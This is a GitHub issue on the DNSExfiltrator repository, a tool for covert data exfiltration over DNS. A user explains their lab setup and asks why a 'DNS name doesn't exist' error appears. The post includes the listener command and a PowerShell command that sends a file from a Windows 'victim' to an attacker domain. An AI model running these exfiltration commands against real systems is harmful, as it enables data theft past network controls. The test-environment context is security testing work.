Arno0x / DNSExfiltrator

Data exfiltration over DNS request covert channel
843 stars 179 forks source link

DNS name doesn't exist issue #10

Open beomjin210916 opened 1 year ago

beomjin210916 commented 1 year ago

Hi, I am really appreciate that you create such tools so that I could test DNS security. I have downloaded this file and have kind of issue.

I also have seen of same issue in this github page.

However, I really don't know how to solve this.

Here is my environment:

  1. My attacking environment kali is on AWS EC2.
  2. I use route 53 to manage my domain abc.shop(abc.shop is sample)
  3. so my NS records should be "ns-xxx.awsdns-xxx.com" something like this
  4. I connect my domain abc.shop to my kali 53.x.x.x
  5. I used "python2 dnsexfiltrator.py -d abc.shop -p password" on my kali(53.x.x.x) It can be on listening status.
  6. My victim machine is window and it is on my exsi server (172.X.X.X)
  7. I have used such command on window powershell. "Invoke-DNSExfiltrator -i secret.jpg -d abc.shop -p password" and it says DNS name doesn't exist.

My question is this: Did I configure something wrong? Do I have to own a Name server of NS record? (because I don't own the name server but AWS own it) Thank you for your effort, Best regards.